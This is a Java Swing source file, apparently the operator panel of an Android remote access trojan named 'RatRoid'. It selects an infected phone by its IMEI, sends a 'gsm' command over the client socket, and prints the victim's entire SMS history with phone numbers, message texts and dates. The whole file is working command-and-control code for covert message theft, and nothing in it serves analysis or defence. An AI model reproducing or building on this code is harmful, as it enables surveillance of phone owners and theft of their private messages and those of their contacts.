/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.Clients;
import Control.ThreadHandle;
import RatRoid.Main;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import java.util.HashMap;
import javax.swing.JOptionPane;
import javax.swing.SwingWorker;

/**
 *
 * @author Sam
 */
public class GetSms extends javax.swing.JFrame {

    /**
     * Creates new form GetSms
     */
    public GetSms(String x) {
        imei=x;
        initComponents();
        this.setIconImage(new javax.swing.ImageIcon(getClass().getResource("/res/logo.png")).getImage());
        this.setVisible(true);
        setLocationRelativeTo(null);
    }

        public void data(ThreadHandle thlist) throws ClassCastException {
            
            for (final Clients client1 : thlist.getthreads()) {
                if (client1.getthread().getName().equals(imei)) {
                    if(client1.available){
                    client1.available=false;
                    client1.doing=" This Client is getting SMS History, please try again in a second ";
         try {
                out = new PrintWriter(client1.getsocket().getOutputStream());
                
                out.println("gsm"+imei);
                out.flush();

                is1 = client1.getsocket().getInputStream();
                ois1 = new ObjectInputStream(is1);
                smsinfo = (HashMap<String, String>) ois1.readObject();}
         catch (IOException e) {
                 this.dispose();
                 client1.available=true;
                
            }
             catch (ClassNotFoundException ex) {
                 client1.available=true;

             }
         client1.available=true;
                    }
                    else {
               Thread msgThread = new Thread(new Runnable() {
                           @Override
				public void run() {
                               JOptionPane.showMessageDialog(null,client1.doing , "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                                }});
                       msgThread.start();
           }  
                int size=smsinfo.size();
                int i;
                String text = "+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+\n|M|e|s|s|a|g|e| |H|i|s|t|o|r|y|\n+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+ \n \n";
                if(size==0){text +="No Sms on Device";}
                else {
                   int n=0;
                for(i=1;i<size;i++){
                    
                  if(i%3 == 1){n++; text +="\n Message Number : "+n+"\n \n Phone Number  : " +smsinfo.get(String.valueOf(i));}
                  if(i%3 == 2){ text +="\n SMS TEXT : " +"\n"+smsinfo.get(String.valueOf(i))+"\n";}
                  if(i%3 == 0){ text +="\n Date    : " +smsinfo.get(String.valueOf(i))+"\n================================";}
                    
                }
                
                }
                sms.setText(text);
                getsms.setText("Get SMS");
                 
                
            }
                 } 
            
}
    
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        jScrollPane1 = new javax.swing.JScrollPane();
        sms = new javax.swing.JTextArea();
        getsms = new javax.swing.JButton();

        setTitle("Get SMS");
        setMinimumSize(new java.awt.Dimension(500, 250));

        sms.setColumns(20);
        sms.setRows(5);
        jScrollPane1.setViewportView(sms);

        getContentPane().add(jScrollPane1, java.awt.BorderLayout.CENTER);

        getsms.setText("Get SMS");
        getsms.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                getsmsActionPerformed(evt);
            }
        });
        getContentPane().add(getsms, java.awt.BorderLayout.PAGE_END);

        pack();
    }// </editor-fold>//GEN-END:initComponents

    
    private void getsmsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_getsmsActionPerformed


        SwingWorker worker = new SwingWorker<Void, Void>() {

   @Override
   protected Void doInBackground() throws Exception {
       getsms.setEnabled(false);
      data(Main.threads);
      getsms.setEnabled(true);
      return null;
   }
};
           worker.execute();  // to replace data(server.threads) and make it in background ( realease the jframe exit)
           getsms.setText("Refresh");
        
    }//GEN-LAST:event_getsmsActionPerformed
     private HashMap<String, String> smsinfo = new HashMap<>();
     private ObjectInputStream ois1;
     private InputStream is1;
     private String imei;
     private PrintWriter out;
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton getsms;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JTextArea sms;
    // End of variables declaration//GEN-END:variables
}
